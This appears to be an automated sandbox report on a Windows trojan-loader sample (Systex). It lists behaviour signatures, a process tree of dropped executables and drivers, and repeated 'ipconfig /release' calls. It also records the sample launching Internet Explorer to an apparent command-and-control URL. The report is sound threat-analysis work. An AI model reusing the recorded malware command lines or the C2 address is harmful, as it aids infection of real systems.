Analysis
- max time kernel
148s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
28/05/2026, 14:02
General
- Target 2026-05-28_1c705cfb30d6128878fc7d237f771b20_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 389KB
- Sample260528-rckbpsbs7w
- SHA256 db5d9bf21e21071735f2712f6591fad7b10e4d26e5fd5cb8a8ec26e1bdd3f2de
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 35 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 61 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-28_1c705cfb30d6128878fc7d237f771b20_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-28_1c705cfb30d6128878fc7d237f771b20_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\ausmkecxupnhfzxr.exeC:\Temp\ausmkecxupnhfzxr.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kecwupkezx.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\kecwupkezx.exeC:\Temp\kecwupkezx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kecwupkezx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kecwupkezx.exeC:\Temp\i_kecwupkezx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\fzxrpjhczu.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\fzxrpjhczu.exeC:\Temp\fzxrpjhczu.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_fzxrpjhczu.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_fzxrpjhczu.exeC:\Temp\i_fzxrpjhczu.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uzrojhbztr.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\uzrojhbztr.exeC:\Temp\uzrojhbztr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uzrojhbztr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_uzrojhbztr.exeC:\Temp\i_uzrojhbztr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigbytrlj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qoigbytrlj.exeC:\Temp\qoigbytrlj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigbytrlj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qoigbytrlj.exeC:\Temp\i_qoigbytrlj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tolgeywqoi.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tolgeywqoi.exeC:\Temp\tolgeywqoi.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tolgeywqoi.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tolgeywqoi.exeC:\Temp\i_tolgeywqoi.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\igaysqlida.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\igaysqlida.exeC:\Temp\igaysqlida.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_igaysqlida.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_igaysqlida.exeC:\Temp\i_igaysqlida.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cavsnkfdxv.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\cavsnkfdxv.exeC:\Temp\cavsnkfdxv.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cavsnkfdxv.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_cavsnkfdxv.exeC:\Temp\i_cavsnkfdxv.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usmkfcxvpn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\usmkfcxvpn.exeC:\Temp\usmkfcxvpn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usmkfcxvpn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_usmkfcxvpn.exeC:\Temp\i_usmkfcxvpn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usmkecxupn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\usmkecxupn.exeC:\Temp\usmkecxupn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usmkecxupn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_usmkecxupn.exeC:\Temp\i_usmkecxupn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rpjhczurmk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rpjhczurmk.exeC:\Temp\rpjhczurmk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rpjhczurmk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rpjhczurmk.exeC:\Temp\i_rpjhczurmk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pjebwuomge.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pjebwuomge.exeC:\Temp\pjebwuomge.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pjebwuomge.exe ups_ins3⤵
-
C:\Temp\i_pjebwuomge.exeC:\Temp\i_pjebwuomge.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uomgerojgb.exe ups_run3⤵
-
C:\Temp\uomgerojgb.exeC:\Temp\uomgerojgb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uomgerojgb.exe ups_ins3⤵
-
C:\Temp\i_uomgerojgb.exeC:\Temp\i_uomgerojgb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lgeywqojgb.exe ups_run3⤵
-
C:\Temp\lgeywqojgb.exeC:\Temp\lgeywqojgb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lgeywqojgb.exe ups_ins3⤵
-
C:\Temp\i_lgeywqojgb.exeC:\Temp\i_lgeywqojgb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dywqoigayt.exe ups_run3⤵
-
C:\Temp\dywqoigayt.exeC:\Temp\dywqoigayt.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dywqoigayt.exe ups_ins3⤵
-
C:\Temp\i_dywqoigayt.exeC:\Temp\i_dywqoigayt.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\xvqnigaysq.exe ups_run3⤵
-
C:\Temp\xvqnigaysq.exeC:\Temp\xvqnigaysq.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_xvqnigaysq.exe ups_ins3⤵
-
C:\Temp\i_xvqnigaysq.exeC:\Temp\i_xvqnigaysq.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dysqkicank.exe ups_run3⤵
-
C:\Temp\dysqkicank.exeC:\Temp\dysqkicank.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dysqkicank.exe ups_ins3⤵
-
C:\Temp\i_dysqkicank.exeC:\Temp\i_dysqkicank.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usnkfdxvpk.exe ups_run3⤵
-
C:\Temp\usnkfdxvpk.exeC:\Temp\usnkfdxvpk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usnkfdxvpk.exe ups_ins3⤵
-
C:\Temp\i_usnkfdxvpk.exeC:\Temp\i_usnkfdxvpk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mkezxrpkhc.exe ups_run3⤵
-
C:\Temp\mkezxrpkhc.exeC:\Temp\mkezxrpkhc.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mkezxrpkhc.exe ups_ins3⤵
-
C:\Temp\i_mkezxrpkhc.exeC:\Temp\i_mkezxrpkhc.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomgezw.exe ups_run3⤵
-
C:\Temp\ecwuomgezw.exeC:\Temp\ecwuomgezw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwuomgezw.exe ups_ins3⤵
-
C:\Temp\i_ecwuomgezw.exeC:\Temp\i_ecwuomgezw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ebwuomgezw.exe ups_run3⤵
-
C:\Temp\ebwuomgezw.exeC:\Temp\ebwuomgezw.exe ups_run4⤵
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5608 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\ausmkecxupnhfzxr.sysC:\Temp\ausmkecxupnhfzxr.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkecwuomhe.sysC:\Temp\mkecwuomhe.sys1⤵
- Executes dropped EXE
-
C:\Temp\mgezojhbzt.sysC:\Temp\mgezojhbzt.sys1⤵
- Executes dropped EXE
-
C:\Temp\jebwuomgey.sysC:\Temp\jebwuomgey.sys1⤵
- Executes dropped EXE
-
C:\Temp\bytrljdbwt.sysC:\Temp\bytrljdbwt.sys1⤵
- Executes dropped EXE
-
C:\Temp\tqljdbvtnl.sysC:\Temp\tqljdbvtnl.sys1⤵
- Executes dropped EXE
-
C:\Temp\vifaysqkic.sysC:\Temp\vifaysqkic.sys1⤵
- Executes dropped EXE
-
C:\Temp\nlfdxvpnif.sysC:\Temp\nlfdxvpnif.sys1⤵
- Executes dropped EXE
-
C:\Temp\fcxvpnhfzx.sysC:\Temp\fcxvpnhfzx.sys1⤵
- Executes dropped EXE
-
C:\Temp\cwupmhfzxr.sysC:\Temp\cwupmhfzxr.sys1⤵
- Executes dropped EXE
-
C:\Temp\ecwupezwrp.sysC:\Temp\ecwupezwrp.sys1⤵
- Executes dropped EXE
-
C:\Temp\bztrmjecwu.sysC:\Temp\bztrmjecwu.sys1⤵
-
C:\Temp\trljdbvtol.sysC:\Temp\trljdbvtol.sys1⤵
-
C:\Temp\ljdbvtolgd.sysC:\Temp\ljdbvtolgd.sys1⤵
-
C:\Temp\qljdbvtnly.sysC:\Temp\qljdbvtnly.sys1⤵
-
C:\Temp\kidavtnlfd.sysC:\Temp\kidavtnlfd.sys1⤵
-
C:\Temp\causmkfcxv.sysC:\Temp\causmkfcxv.sys1⤵
-
C:\Temp\usmkecwupm.sysC:\Temp\usmkecwupm.sys1⤵
-
C:\Temp\xrpjhczusm.sysC:\Temp\xrpjhczusm.sys1⤵
-
C:\Temp\pjhbztrmje.sysC:\Temp\pjhbztrmje.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
ausmkecxupnhfzxr.exe
ausmkecxupnhfzxr.sys
bytrljdbwt.sys
cavsnkfdxv.exe
fzxrpjhczu.exe
i_cavsnkfdxv.exe
i_fzxrpjhczu.exe
i_igaysqlida.exe
i_kecwupkezx.exe
i_qoigbytrlj.exe
i_tolgeywqoi.exe
i_uzrojhbztr.exe
igaysqlida.exe
jebwuomgey.sys
kecwupkezx.exe
mgezojhbzt.sys
mkecwuomhe.sys
nlfdxvpnif.sys
qoigbytrlj.exe
tolgeywqoi.exe
tqljdbvtnl.sys
usmkfcxvpn.exe
uzrojhbztr.exe
vifaysqkic.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
suggestions[1].en-US
memory/540-120-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/884-140-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1664-124-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1692-156-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1728-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1800-152-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2036-132-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2248-21-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2444-45-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3312-76-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3432-136-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4056-160-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4124-128-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4212-33-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4240-88-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4388-144-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4680-106-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5732-148-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5876-64-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5884-100-0x0000000000010000-0x00000000000AB000-memory.dmp